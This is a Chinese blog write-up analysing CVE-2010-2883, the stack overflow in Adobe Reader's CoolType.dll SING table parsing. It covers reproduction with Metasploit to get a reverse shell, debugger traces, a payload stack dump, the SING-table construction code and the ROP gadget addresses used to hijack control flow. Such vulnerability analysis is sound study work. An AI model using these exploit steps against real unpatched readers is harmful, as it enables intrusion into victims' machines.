1、这个漏洞是《漏洞战争》中的例子,也要学着去分析分析实际的漏洞了。
2、CVE-2010-2883是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞。
3、用户受骗打开了特制的PDF文件就有可能导致执行任意代码。
- 更新:2020.10.6,也算是重新分析了一遍吧,又收获了很多。这次分析,主要修正了第一次分析中的错误和不足。文章结构有较大变化。更新了动态调试部分,漏洞利用触发的具体原因,以及漏洞利用的具体细节。
0x00 漏洞描述
Adobe Reader
和Acrobat
都是美国奥多比(Adobe)公司的产品。Adobe Reader是一款免费的PDF文件阅读器
,Acrobat是一款PDF文件编辑和转换工具
。基于Window
和Mac OS X
的Adobe Reader和Acrobat 9.4之前
的9.x版本,8.2.5之前
的8.x版本的CoolType.dll
中存在基于栈的缓冲区溢出漏洞
。远程攻击者可借助带有TTF字体
Smart INdependent Glyphlets (SING
)表格中超长字段uniqueName
的PDF文件执行任意代码
或者导致拒绝服务
(应用程序崩溃)。
0x10 分析环境
使用的环境 | 备注 | |
---|---|---|
操作系统 | Windows XP Professional SP3 | 简体中文版 |
虚拟机 | VMware Workstation Pro | 版本号:12.5.8 |
调试器 | OllyDbg | 吾爱破解OllyDbg |
反汇编器 | IDA Pro | 版本号:7.0 |
漏洞软件 | Adobe Reader | 版本号:9.3.4 |
0x20 漏洞复现
这里用msf
来生成用于漏洞利用的exploit样本
文件。
0x21 生成exploit样本文件
1 | 1、弹出计算器 |
执行完上面的命令可以在/root/.msf4/local/
下找到用于exploit的样本文件。然后将样本文件复制到目标主机中。再在kali
下进行监听,在windows XP SP3下通过Adobe Reader打开CVE-2010-2883(shell).pdf,获得meterpreter session
,从而获得shell。
0x22 反弹shell
1 | msf exploit(windows/fileformat/adobe_cooltype_sing) > back |
0x30 漏洞原理分析
0x31 PDF文件格式
可移植文档格式
(Portable Document Format,简称PDF)是一种用独立于应用程序、硬件、操作系统的方式呈现文档的文件格式。1991年,Adobe Systems共同创始人约翰·沃诺克
提出的名为“Camelot”
的系统演变成PDF
。PDF文件格式可以将文字、字型、格式、颜色及独立于设备和分辨率的图形图像等封装在一个文件中。该格式文件还可以包含超文本链接、声音和动态影像等电子信息,支持特长文件,集成度和安全可靠性都较高。而且这种格式是跨平台
的,和操作系统无关。
PDF文档是一种文本
和二进制
混排的格式,它由以下四部分组成
:
header
:头部,PDF文件的第一行,用以标识PDF文档的版本。通常格式为%PDF-x.y,PDF版本历经了1.0、1.1、1.2、1.3、1.4、1.5、1.6、1.7、2.0多个版本。body
:PDF的主体部分,包含PDF文档的主题内容,各部分以对象的方式呈现。xref table
:交叉引用表,通过交叉引用表可以快速的找到PDF文档中的各对象。每一个对象在交叉引用表中占据一项。trailer
:PDF文档尾,包含交叉引用的摘要和交叉引用表的起始位置。
PDF文档中包含字体对象
,而本篇文章所讲述的漏洞就是发生在PDF阅读器对于字体解析过程中,未对字体对象中所包含的SING表
的uniqueName字段
进行长度校验,导致了栈溢出
漏洞的发生。下面是我通过PdfStreamDumper
读出来的一些PDF的内容:
1 | %PDF-1.5 //此PDF文档符合PDF1.5规范 |
TTF表目录头
结构如下:
1 | 表目录头 |
sfnt version
:0x00010000(sfnt-1.0)numTables
:0x0011(Dec:17) 有17个表searchRange
:0x0100entrySelector
:0x0004rangeShift
:0x0010
TTF表目录项
结构如下:
0x32 SING表结构
SING技术
是Adobe公司推出的针对“外字”(Gaiji)
的解决方案,外字
是日语
中的意思,中文
中就是生僻字
的意思。SING允许用户创建新字形,每个新字形作为一个独立的字体打包。这样打包出来的字形称为字形包(glyphlet
)。这种格式通过Adobe公开的,且基于OpenType
。SING(Smart INdependent Glyphlets,智能独立字形包)的规范允许字形包随同文件一起传送,这样包含SING字符的文件也是可携带的,而又不会字符乱码、异常显示。SING表结构文档真的不好找,一篇博客中说可以在这里Adobe Glyphlet Development Kit (GDK) for SING Gaiji Architecture下载到一个名叫GlyDevKit.zip
的压缩包,压缩包中的Gaiji SING Glyphlet spec.pdf文档中记录了有关SING表的一些规范,但是,可能由于时间问题,Adobe官网已经下载不到这个压缩包了,还好有关漏洞部分的内容,他的博客中已经提到。还可以在这里找到,Adobe Font Development Kit for OpenType。
SING表目录项
的定义如下:
1 | typedef struct_SING |
1 | 000000e0: 05 47 06 3A 00 00 EB 2C 00 00 00 20 53 49 4E 47 .G.:...,... SING |
下表列出了TrueType字体中常见的表:
1 | head 字体头 字体的全局信息 |
SING表内容的数据结构如下图所示:
上面在分析PDF内容的时候已经将SING表
和SING表目录项
标出来了。
0x33 漏洞触发
1、静态分析
用IDA打开CoolType.dll
库,Shift+F12打开String窗口
,搜索"SING"
1 | .rdata:0819CE34 0000000C C quotesingle |
双击上面的第三个条目
,跳转到下面所示位置:
1 | .rdata:0819DB4C ; char aSing[] |
用鼠标点击aString[],Ctrl+x查看交叉引用
1 | Direction Type Address Text |
双击这条就可以定位到解析存在漏洞的地方。下面就是CoolType
库对SING表
的解析代码,当uniqueName
字段为超长字符串时,执行strcat()
前未对其长度进行检测,执行strcat()
后,会将该字段复制到固定大小的栈空间,最终导致栈溢出
。
1 | .text:0803DCF9 push ebp ; 父函数ebp |
2、动态调试
2.1、sub_8021B06()函数的作用
- 1、打开Adobe Reader,再打开OllyDbg,
attach
上Adobe Reader进程。- 2、在
0x0803DD74
下断点,运行程序。- 3、观察传入的
参数值
,及其内存状态
。
1 | 1、函数执行前 |
我们可以看到sub_8021B06()
函数有三个参数
,第一个参数
是this指针,其值为PDF中对象10
在内存中的首地址,也就是字体对象
的指针。第二个参数
edi是sub_80DD0B3()函数ebp处的一个类对象的指针
,其第一个成员变量
的值为dword_823A850被加1前的值(dword_823A850在sub_8024217函数中被加1),也就是0。第三个参数
是“SING”字符串,sub_8021B06()函数通过在字体对象
中匹配“SING”字符串,来获得“SING”表目录项
,从而获得“SING”表数据
的地址。所以,我们可以推测sub_8021B06()函数的功能为求出“SING”表数据在内存中的地址。
我们再来看一下参数edi中的值
是什么,虽然其值可能不会影响我们的判断,但是为了从中学到更多的东西,还是来看一下吧。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
1131、sub_8021B06()参数回溯,edi就是调用sub_8021B06()函数时传入的a1.
int __cdecl sub_80DD0B3(int a1, int a2, int a3, int a4, _DWORD *a5, int a6)
| | |
↓ ↓ ↓
//value1_823A850变量的地址为ebp=0x0012E718
sub_80151B5(&value1_823A850); // 清零0x0012E718后面的一些数据,0x0012E718应该为某个对象的首地址,此函数像是类的构造函数
| | |
↓ ↓ ↓
// 返回dword_823A850加1之前的值
value_823A850 = sub_8024217(&stru_823A838, 0);// this传参,_RTL_CRITICAL_SECTION结构体对象
value1_823A850 = value_823A850;
↑ ↑ ↑
| | |
v23 = sub_803DCF9((int)&value1_823A850, &v9, 0, (int)&v22) == 0;
char __cdecl sub_803DCF9(int a1, _DWORD *a2, int a3, int a4)
↑ ↑ ↑
| | |
sub_8021B06(&v18, a1, "SING");
2、sub_80151B5()函数的内容.
_DWORD *__thiscall sub_80151B5(_DWORD *this)
{
_DWORD *v1; // esi
int v2; // edx v2=0/edx:xor edx,edx
v1 = this;
*this = 0;
this[1] = 0;
this[2] = 0;
this[3] = 0;
this[4] = 0;
sub_801512D(this + 5); // 对象(0x0012E72C)的构造函数
v1[15] = v2;
v1[16] = v2;
*((_BYTE *)v1 + 68) = v2; // v[17]的第一个字节设为0
v1[18] = v2;
v1[19] = v2;
v1[20] = v2;
v1[21] = v2;
v1[22] = v2;
v1[23] = v2;
v1[49] = -1;
*((_BYTE *)v1 + 188) = v2; // v1[47]的第一个字节设为0
v1[48] = v2;
*((_BYTE *)v1 + 200) = v2; // v1[50]的第一个字节设为0
memset(v1 + 24, v2, 92u); // 从第24dword开始,后23个dword设为0
return v1;
}
/*
对象(0x0012E718)的内存布局(初始):
0x0012E718 *this = 0 -|
0x0012E71C this[1] = 0 |
0x0012E720 this[2] = 0 | {sub_80151B5}
0x0012E724 this[3] = 0 |
0x0012E728 this[4] = 0 -|
0x0012E72C *this = 0 -------------------| 0x0012E72C-0x0012E750,应该也是一个对象
0x0012E730 0x049517D8 | [0x049517D8]=0x08190108,const BIB_T_MT::BIBVTabGeneric::`vftable'
0x0012E734 this[2] = 0 -----------------|
0x0012E738 this[3] = 0 -----------------| {sub_801512D}
0x0012E73C | 0012E73C 01E79BA0 ASCII "BIBDataStoreGetBlockProcV2"
0x0012E740 this[5] = 0 -----------------|
0x0012E744 this[6] = 0 -----------------|
0x0012E748 this[7] = 0 -----------------|
0x0012E74C this[8] = sub_80833EF -------|
0x0012E750 result[9] = result = this ---| 0x0012E72C
0x0012E754 v1[15] = v2 = 0 ----------------|
0x0012E758 v1[16] = v2 = 0 ----------------|
0x0012E75C *((_BYTE *)v1 + 68) = v2 = 0; --| 0012E75C 0804AA00 返回到 CoolType.0804AA00
0x0012E760 v1[18] = v2 = 0 ----------------|
0x0012E764 v1[19] = v2 = 0 ----------------| {sub_80151B5}
0x0012E768 v1[20] = v2 = 0 ----------------|
0x0012E76C v1[21] = v2 = 0 ----------------|
0x0012E770 v1[22] = v2 = 0 ----------------|
0x0012E774 v1[23] = v2 = 0 ----------------|
0x0012E778 - 0x0012E7D4 v1[24]~v1[46] = v2 = 0 --| memset(v1 + 24, v2, 92u);
0x0012E7D4 *((_BYTE *)v1 + 188) = v2 = 0 --------| 0012E7D4 02A93200
0x0012E7D8 v1[48] = v2 = 0 ----------------------| {sub_80151B5}
0x0012E7DC | 0012E7DC FFFFFFFF
0x0012E7E0 *((_BYTE *)v1 + 200) = v2 = 0 --------| 0012E7E0 02A93200
*/
3、sub_8024217()函数的内容.
value_823A850 = sub_8024217(&stru_823A838, 0);
.data:0823A838 stru_823A838 _RTL_CRITICAL_SECTION <?>
.data:0823A838 ; DATA XREF: sub_80252EC+104↑o
.data:0823A838 ; sub_809C3A4+1B9↑o ...
.data:0823A850 dword_823A850 dd ? ; DATA XREF: sub_818DB2A+B↑w
.data:0823A854 align 8
struct RTL_CRITICAL_SECTION {
PRTL_CRITICAL_SECTION_DEBUG DebugInfo;
LONG LockCount;
LONG RecursionCount;
HANDLE OwningThread;
HANDLE LockSemaphore;
ULONG_PTR SpinCount;
};大小为4*6 = 24 = 0x18h字节
_RTL_CRITICAL_SECTION_DEBUG *__thiscall sub_8024217(LPCRITICAL_SECTION lpCriticalSection, int a2)
{
int lpCriticalSection1; // esi
int v3; // edi
lpCriticalSection1 = (int)lpCriticalSection;
EnterCriticalSection(lpCriticalSection); // 进入临界区
v3 = *(_DWORD *)(lpCriticalSection1 + 24); // v3为全局变量dword_823A850的值,其初始值为0.
*(_DWORD *)(lpCriticalSection1 + 24) = v3 + 1;// dword_823A850=dword_823A850+1=1
LeaveCriticalSection((LPCRITICAL_SECTION)lpCriticalSection1);
return v3; // 返回加1之前的值
}
thiscall
是C++
中特有的调用约定
,用于成员函数
的调用。根据上面给出的sub_80151B5()函数
的伪代码,可以看出此函数返回了this指针
,并且此函数
也是sub_80DD0B3()函数中定义的对象(0x0012E718)
在作用域内调用的第一个成员函数
,sub_80151B5()函数
中使用this指针
对其成员变量赋初值
。这些都是一个构造函数
拥有的特征。
通过上面的分析,我们可以知道sub_8021B06()
的第二个参数
a1为对象(0x0012E718)的指针
,其第一个成员变量的值为0。
2.2、strcat()函数溢出分析
通过上面的静态分析,我们可以知道程序执行完sub_8021B06()函数
后,得到了SING表数据
的地址。首先程序对SING表数据的“tableVersionMajor”
字段和“tableVersionMinor”
字段进行了判断,满足条件后,才会执行strcat()
函数,将构造的“uniqueName”
字段内容复制到栈
上。1
2
3
4
5
6
7
8
9
10.text:0803DD82 mov eax, [ebp+108h+var_12C] ; eax指向SING表数据,eax=[ebp-0x24]=[0x0012E4B4]=0x04960104
.text:0803DD85 cmp eax, esi ; 判断是否为空,esi为0
.text:0803DD85
.text:0803DD87 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B jz short loc_803DDC4 ; 这里不跳转
.text:0803DD8D mov ecx, [eax] ; 字体资源版本号0.1,构造样本时小端写入,这里读出就变成了ecx=0x00010000,使其可以顺利执行到strcat
.text:0803DD8F and ecx, 0FFFFh
.text:0803DD95 jz short loc_803DD9F ; 这里跳转,jz和je机器码是一样的,IDA识别为jz,OllyDbg识别为je,这里jz感觉好理解一点
.text:0803DD97 cmp ecx, 100h
.text:0803DD9D jnz short loc_803DDC0
这里有两种情况
都满足要求,第一种
,以小端序读出的版本号形如:0x????0000
。也就是SING表的“tableVersionMajor”
字段为0,“tableVersionMinor”
字段没有要求,版本号为0.x
。第二种
,以小端序读出的版本号形如:0x????0100
。也就是SING表的“tableVersionMajor”
字段为1,“tableVersionMinor”
字段没有要求,版本号为1.x
。样本中使用的是第一种
。
样本生成脚本
中关于这部分的构造如下:1
2
3
4
5
6
7
8
9
10sing = ''
sing << [
0, 1, # tableVersionMajor, tableVersionMinor (0.1)
0xe01, # glyphletVersion
0x100, # embeddingInfo
0, # mainGID
0, # unitsPerEm
0, # vertAdvance
0x3a00 # vertOrigin
].pack('vvvvvvvv') # 把两个字符当作 little-endian 字节顺序的无符号的 short。
接下来,我们分析“uniqueName”字段
复制到栈上的位置
,以及长度
。
- 1、打开Adobe Reader,再打开OllyDbg,
attach
上Adobe Reader进程。- 2、在
0x0803DD9F
下断点,运行程序。- 3、观察传入的
参数值
,及其内存状态
。
1 | eax = 0x04960104(SING表数据入口地址) |
复制到栈上的数据长度
:0x0012E718 - 0x0012E4D8 = 0x2401
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
390012E4D8 F1 B9 F1 F4 75 62 82 1D 14 A7 82 4A 0C 0C 0C 0C 窆耵ub?J....
0012E4E8 AC 86 F7 B5 ED 50 17 29 5C 12 8D 01 4E 51 05 0E 瑔鞯鞵)\?NQ
0012E4F8 E7 CC BC CA 6B 02 ED 81 13 36 AD 5E 45 85 DC 7D 缣际k韥6璣E呠}
0012E508 DB C2 4B 84 E8 67 8A 92 74 90 C8 3D 03 65 FE 80 勐K勮g姃t惾=e
0012E518 4E E7 C7 42 89 8B DA 08 91 71 7A 3D 83 8E BD 60 N缜B墜?憅z=儙絗
0012E528 AB 8F FA 53 8E F2 15 70 D8 66 BB A0 24 09 05 CD 珡鶶庲p豧粻$.
0012E538 E6 10 AE B9 B2 E0 B8 40 91 36 FC 66 8B 7B BE C2 ?侧窣?黤媨韭
0012E548 65 24 37 DA 2B 2C FC FA 04 89 92 95 B5 3A 22 FE e$7?,墥暤:"
0012E558 44 BA 47 90 BD 17 78 9A 86 A8 CC 2A B1 0B FA 8F D篏惤x殕ㄌ*?鷱
0012E568 54 C7 4B 6D BF 1A 47 1D 33 0D 72 DC D3 8E 1E FC T荎m?G3.r苡?
0012E578 7E 2D 41 FE B2 7D 0C 3A 1A BE 1D F7 DC 35 59 BD ~-A}.:?鬈5Y
0012E588 5A C3 06 67 E3 6F FC D5 49 3B 3E 1B 4D FC 6E 8C Z?g鉶I;>M黱
0012E598 5D E4 7B BA 86 8C AC A7 11 F3 B2 43 A1 0B 04 B4 ]鋥簡尙?蟛C?
0012E5A8 30 71 3F A9 3A CC CF E0 B3 15 35 39 BC F9 6F 9C 0q??滔喑59践o
0012E5B8 E4 0C 84 72 70 90 64 0A 53 E3 A4 65 BB C6 19 85 ?剅p恉.S悚e黄
0012E5C8 BA 6D 04 8D BE EF 3A 1F 4C 0D FD E0 29 BD FC 77 簃嵕?L.)近w
0012E5D8 CD F3 41 98 0D AD D7 3B 92 48 A6 BB B7 8C C9 F5 腕A?;扝穼甚
0012E5E8 71 7A 72 69 54 32 60 80 8D 9C 16 24 81 B8 C0 32 qzriT2`€崪$伕?
0012E5F8 2D 44 17 5A 06 6D 75 0F 77 9E CF 67 F4 23 2C 2B -DZmuw炏g?,+
0012E608 C6 08 8A 4A E2 2F 63 30 39 85 30 38 40 55 FA 3B ?奐?c09?8@U?
0012E618 DB DD 44 05 9D BE 81 73 DD F3 CA 9A 4D 02 F0 EF 圯D澗乻蒹蕷M痫
0012E628 05 A9 10 F7 05 69 C6 B4 DF 84 4A 6D 3C 85 6E D9 ??i拼邉Jm<卬
0012E638 3A 29 D3 E4 44 95 96 E3 C0 3E 0F FA 45 5E D1 40 :)愉D晼憷>鶨^袬
0012E648 DB BB AB 23 BA FF 42 8D 8A 05 D1 84 8A AE E5 5B 刍??B崐褎姰錥
0012E658 F1 E7 94 85 95 20 E5 41 6B 95 CD 72 6D 8B EE D6 耒攨?錋k曂rm嬵
0012E668 19 8C BF FB BC 64 17 7F E7 A4 70 F7 94 E3 A7 3B 尶d绀p鲾悃;
0012E678 5B 69 A1 F4 7F 20 11 02 58 4F 24 FD 38 70 A3 97 [i◆ XO$?p
0012E688 62 2C FA 58 E6 C2 D6 B5 04 80 EC 82 FC 05 80 D1 b,鶻媛值€靷?€
0012E698 93 0B CB 63 38 F7 B9 90 F0 8B D3 F8 91 96 7A C7 ?薱8鞴愷嬘鴳杬
0012E6A8 37 24 37 4E 99 84 6C 40 DF 84 A2 97 17 7B 6F 59 7$7N檮l@邉{oY
0012E6B8 51 51 9C 7A 50 DA 1B 08 7E ED 73 8B D9 B9 53 9B QQ渮P?~韘嬞筍
0012E6C8 29 59 F1 FD A6 38 DF 49 38 CB 80 4A E3 A6 2C CA )Y颀?逫8藔J悝,
0012E6D8 2B 0C 6B E0 A5 48 43 D2 F3 77 1C 91 82 C7 40 59 +.k啷HC殷w憘茾Y
0012E6E8 5F 6C C6 02 59 D4 BA AE 32 F9 41 9A FF 07 28 4D _l?Y院?鵄?(M
0012E6F8 28 73 33 DA D4 69 D1 F3 E6 85 2B D1 76 90 FF 6C (s3谠i洋鎱+裿?l
0012E708 28 F3 A4 34 AB 2F 57 AE 1B C7 A5 1D 6C 00 00 00 (螭4?W?钎l...
0012E718 00 00 00 00 6D 00 00 00 01 00 00 00 01 00 00 00 ....m.........
0012E728 00 00 00 00 F8 B1 13 02 A0 38 96 04 EC 26 00 00 ....???..
2.3、触发过程
我们从metasploit
的漏洞利用代码中可以知道SING表的数据
主要是构造了一个ROP链
,用于控制EIP
最终跳转到堆喷
的真正的用于绕过DEP
的ROP Chain
处。从代码注释中可知,第一个ROPgadget
位于icucnv36.dll中的0x4A80CB38
处,第二个ROPgadget
位于icucnv36.dll中的0x4A82A714
处。这部分后面会介绍,为什么选用这两个地址呢?因为在Adobe Reader
的各个版本
上,这个dll的这两处地址是始终不变
的,从而保证了exploit
对于各版本的兼容性
和稳定性
。
- 1、打开Adobe Reader,再打开OllyDbg,
attach
上Adobe Reader进程。- 2、在
0x4A80CB38
下断点,运行程序。- 3、当运行到
0x4A80CB38
地址处时,我们查看栈,看到返回地址为0x0808B30A
,可以知道调用者的位置就在其上一条指令处,0x0808B308
处的call dword ptr [eax]
指令。- 4、我们再对这段
ROPgadget
的调用地址0x0808B308
下断点,并且通过ollydbg的反汇编窗口找到此调用者函数的父函数
sub_808B116(),再下断点0x0808B116
。- 5、我们再在
堆栈窗口
中寻找sub_808B116()
的返回地址
,查看其返回地址是否在调用strcat()函数
的父函数sub_803DCF9()
的地址范围中,若是,栈回溯结束。如不是,继续向下寻找。
也许有些返回地址
在堆栈窗口
中只是显示为返回到 CoolType.xxxxxxxx
,并没显示是哪个函数的返回地址
。这是因为这个返回地址所属的函数的地址是存放在内存中的某个位置
或在寄存器
中,指令格式call r/m32
。通常函数调用使用的是指令格式为call rel32
,其操作数为函数地址
相对当前调用指令
的下一条指令地址
的偏移,以补码
表示。
程序控制流劫持过程
分析:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189********************************************************************
char __cdecl sub_803DCF9(int a1, _DWORD *a2, int a3, int a4)
********************************************************************
.text:0803DCF9 push ebp ; ebp=0x0012E718
.text:0803DCFA sub esp, 104h ; esp=0x0012E4DC
.text:0803DD00 lea ebp, [esp-4] ; ebp=0x0012E4D8
.text:0803DD04 mov eax, ___security_cookie ; eax=0x98C49E84
.text:0803DD09 xor eax, ebp ; eax=eax^ebp=0x98D67A5C
.text:0803DD0B mov [ebp+108h+var_4], eax ; [ebp+0x104] = [0x0012E5DC] = 0x98D67A5C
.text:0803DD11 push 4Ch ; __EH_prolog3_catch函数中分配栈空间大小
.text:0803DD13 mov eax, offset loc_8184A54 ; __security_check_cookie函数地址
.text:0803DD18 call __EH_prolog3_catch ; 向栈上写入SEH结构
.text:0803DD1D mov eax, [ebp+108h+arg_C] ; eax=[0x0012E4D8+0x11c]=[0x0012E5F4]=0x0012E700,eax = a4
.text:0803DD23 mov edi, [ebp+108h+arg_0] ; edi=[0x0012E4D8+0x110]=[0x0012E5E8]=0x0012E718,edi = a1 <------对象(0x0012E718)的指针
.text:0803DD29 mov ebx, [ebp+108h+arg_4] ; ebx=[0x0012E4D8+0x114]=[0x0012E5EC]=0x0012E608,ebx = a2 对象(0x0012E608)的指针
........
.text:0803DDAB call strcat ; 调用strcat函数,造成溢出
.text:0803DDB0 pop ecx
.text:0803DDB1 pop ecx
.text:0803DDB2 lea eax, [ebp+108h+uniqueName_buf] ; eax=0x0012E4D8,为uniqueName缓冲区地址
.text:0803DDB5 push eax
.text:0803DDB6 mov ecx, ebx ; ecx=ebx=0x0012E608,对象(0x0012E608)的指针,第一个成员变量原来是0,可以直接跳过sub_8001243()的一段代码,但是我们构造的uniqueName不能将这里构造为0x0,会造成截断,其内容+0x1c必须为一个可访问的地址,使得程序可以顺利执行通过第一个成员变量为0时跳过的那段代码。
.text:0803DDB8 call sub_8001243
.text:0803DDBD mov eax, [ebp+108h+var_12C] ; eax指向SING表数据
.text:0803DDC0
.text:0803DDC0 loc_803DDC0:
.text:0803DDC0 mov [ebp+108h+var_119], 1
.text:0803DDC4
.text:0803DDC4 loc_803DDC4:
.text:0803DDC4 cmp eax, esi
.text:0803DDC6 mov byte ptr [ebp+108h+var_10C], 1
.text:0803DDCA jz short loc_803DDD3
.text:0803DDCC push eax
.text:0803DDCD call sub_80418BF
.text:0803DDD2 pop ecx
.text:0803DDD3
.text:0803DDD3 loc_803DDD3:
.text:0803DDD3 cmp [ebp+108h+var_119], 0
.text:0803DDD7 jnz loc_803DEA9
......
.text:0803DEA9 loc_803DEA9:
.text:0803DEA9
.text:0803DEA9 lea eax, [ebp+108h+var_124] ; eax=ebp-0x1c=0x0012E4BC, ebp=0x0012E4D8
.text:0803DEAC push eax ; arg3: eax=0x0012E4BC
.text:0803DEAD push ebx ; arg2: ebx=0x0012E608 对象(0x0012E608)的指针
.text:0803DEAE push edi ; arg1: edi=0x0012E718 <------ 对象(0x0012E718)的指针
.text:0803DEAF call sub_8016BDE
| | |
↓ ↓ ↓
********************************************************************
char __cdecl sub_8016BDE(int a1, int a2, int a3)
********************************************************************
.text:08016BDE push ebp ; ebp=0x0012E4D8
.text:08016BDF sub esp, 660h ; esp=esp-0x660=0x0012DDFC,之前esp=0x0012E45C
.text:08016BE5 lea ebp, [esp-4] ; ebp=esp-4=0x0012DDF8
.text:08016BE9 mov eax, ___security_cookie
.text:08016BEE xor eax, ebp
.text:08016BF0 mov [ebp+664h+var_4], eax
.text:08016BF6 push 50h
.text:08016BF8 mov eax, offset loc_8175D32
.text:08016BFD call __EH_prolog3_catch
.text:08016C02 mov eax, [ebp+664h+arg_8] ; eax=[ebp+0x674]=[0x0012E46C]=0x0012E4BC, eax=a3
.text:08016C08 mov esi, [ebp+664h+arg_4] ; esi=[ebp+0x670]=[0x0012E468]=0x0012E608, esi=a2,对象(0x0012E608)的指针
.text:08016C0E mov edi, [ebp+664h+arg_0] ; edi=[ebp+0x66c]=[0x0012E464]=0x0012E718,ebp=0x0012DDF8 <------ edi = a1,对象(0x0012E718)的指针
.text:08016C14 mov [ebp+664h+var_6BC], eax
.text:08016C17 mov eax, offset CriticalSection ; eax=0x0823A650,_RTL_CRITICAL_SECTION结构体对象指针
.text:08016C1C push eax ; lpCriticalSection
.text:08016C1D mov [ebp+664h+var_680], esi
.text:08016C20 mov [ebp+664h+var_6C0], eax
.text:08016C23 call ds:EnterCriticalSection ; 执行完 eax=0
.text:08016C29 xor ebx, ebx ; ebx=0
.text:08016C2B push edi
.text:08016C2C mov [ebp+664h+var_668], ebx
.text:08016C2F mov [ebp+664h+var_694], ebx
.text:08016C32 mov [ebp+664h+var_678], ebx
.text:08016C35 call sub_801BB1C ; 执行完 eax=0x01F347B8,为StreamHandler类对象,内存第一个双字为虚表指针,0x081A601C
.text:08016C3A cmp eax, ebx
.text:08016C3C pop ecx
.text:08016C3D mov [ebp+664h+var_67C], eax ; eax=0x01F347B8,为StreamHandler类对象
.text:08016C40 jz loc_80172CE ; 不跳转
.text:08016C46 push 1 ; arg7: 1
.text:08016C48 push ebx ; arg6: 0x00000000
.text:08016C49 push ebx ; arg5: 0x00000000
.text:08016C4A lea eax, [ebp+664h+var_678] ; eax=[ebp-0x14]=0x0012DDE4,ebp=0x0012DDF8
.text:08016C4D push eax ; arg4: eax=0x0012DDE4
.text:08016C4E lea eax, [ebp+664h+var_694] ; eax=[ebp-0x30]=0x0012DDC8,ebp=0x0012DDF8
.text:08016C51 push eax ; arg3: eax=0x0012DDC8
.text:08016C52 push edi ; arg2<-a1: edi=0x0012E718 <------ 对象(0x0012E718)的指针
.text:08016C53 push [ebp+664h+var_67C] ; arg1: [ebp-0x18]=[0x0012DDE0]=0x01F347B8
.text:08016C56 call sub_801BB21
esp --> 0012DD6C 08016C5B ; 返回到 CoolType.08016C5B 来自 CoolType.0801BB21
0012DD70 01F347B8 ; arg1: StreamHandler类对象地址
0012DD74 0012E718 ; arg2: 对象(0x0012E718)的指针
0012DD78 0012DDC8 ; arg3
0012DD7C 0012DDE4 ; arg4
0012DD80 00000000 ; arg5
0012DD84 00000000 ; arg6
0012DD88 00000001 ; arg7
StreamHandler类对象内存:
;01F347B8 1C 60 1A 08 6D 00 00 00 00 00 00 00 84 90 13 02 `m.......剱
;01F347C8 00 00 00 00 00 00 00 00 6D 00 00 00 01 00 00 00 ........m......
;01F347D8 01 00 00 00 00 00 00 00 00 00 00 00 50 A6 23 08 ...........P?
;01F347E8 00 00 00 00 00 00 00 00 1C 01 00 00 00 00 00 00 ..............
;01F347F8 00 00 00 00 00 00 00 00 EF 33 08 08 E0 47 F3 01 ........?郍?
;01F34808 00 48 F3 01 00 00 00 00 00 00 00 00 00 00 00 00 .H?............
| | |
↓ ↓ ↓
*****************************************************************************************************************************
功能: 找到虚函数地址并调用
int __cdecl sub_801BB21(int (__stdcall ***a1)(int, int, int, int, int, int), int a2, int a3, int a4, int a5, int a6, int a7)
*****************************************************************************************************************************
.text:0801BB21 push ebp ; ebp=0x0012DDF8
.text:0801BB22 mov ebp, esp ; ebp=esp=0x0012DD68
.text:0801BB24 push [ebp+arg_18] ; arg6<-a7: [ebp+0x20]=[0x0012DD88]=0x01
.text:0801BB27 mov ecx, [ebp+arg_0] ; this<-a1: ecx=[ebp+0x8]=[0x0012DD670]=0x01F347B8(StreamHandler类对象地址)
.text:0801BB2A push [ebp+arg_14] ; arg5<-a6: [ebp+0x1c]=[0x0012DD84]=0x00000000
.text:0801BB2D mov eax, [ecx] ; eax=[ecx]=[0x01F347B8]=0x081A601C(虚表指针)
.text:0801BB2F push [ebp+arg_10] ; arg4<-a5: [ebp+0x18]=[0x0012DD80]=0x00000000
.text:0801BB32 inc dword_823A6A0 ; [0x0823A6A0]=0x0->0x1
.text:0801BB38 push [ebp+arg_C] ; arg3<-a4: [ebp+0x14]=[0x0012DD7C]=0x0012DDE4
.text:0801BB3B push [ebp+arg_8] ; arg2<-a3: [ebp+0x10]=[0x0012DD78]=0x0012DDC8
.text:0801BB3E push [ebp+arg_4] ; arg1<-a2: [ebp+0xC]=[0x0012DD74]=0x0012E718 <------ 对象(0x0012E718)的指针
.text:0801BB41 call dword ptr [eax] ; [eax]=0x808B116(StreamHandler类虚函数)
esp --> 0012DD4C 0801BB43 返回到 CoolType.0801BB43
0012DD50 0012E718 arg1 对象(0x0012E718)的指针
0012DD54 0012DDC8 arg2
0012DD58 0012DDE4 arg3
0012DD5C 00000000 arg4
0012DD60 00000000 arg5
0012DD64 00000001 arg6
ebp --> 0012DD68 0012DDF8
| | |
↓ ↓ ↓
****************************************************************************************************************************
.rdata:081A601C ; const StreamHandler::`vftable'
.rdata:081A601C ??_7StreamHandler@@6B@ dd offset sub_808B116
StreamHandler类虚函数:
char __thiscall sub_808B116(char *this, int a2, int *a3, _DWORD *a4, _DWORD *a5, unsigned int *a6, int a7)
****************************************************************************************************************************
.text:0808B116 push ebp ; [0x0012DD48]=ebp=0x0012DD68
